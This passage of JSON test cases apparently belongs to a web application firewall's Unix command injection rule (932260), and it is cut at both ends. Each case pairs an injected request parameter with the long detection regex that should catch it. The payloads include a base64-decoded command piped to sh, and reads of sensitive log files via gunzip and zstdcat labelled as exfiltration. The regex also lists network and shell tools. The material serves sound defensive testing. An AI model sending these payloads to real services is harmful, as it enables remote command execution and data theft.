),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Unix Command Injection - python version bypass test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=printf%20dW5hbWUgLWE=%7Cbase64%20-d%7Csh" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\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(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Unix Command Injection - printf bypass test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd=gunzip -c /var/log/sensitive_log_file.gz" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)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c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Positive test: Data exfiltration with gunzip" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd=zstdcat /var/log/sensitive_log_file.zst" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0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\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Positive test: Data exfiltration with zstdcat" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=busybox%20-c%20%22echo%20hi%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\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:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|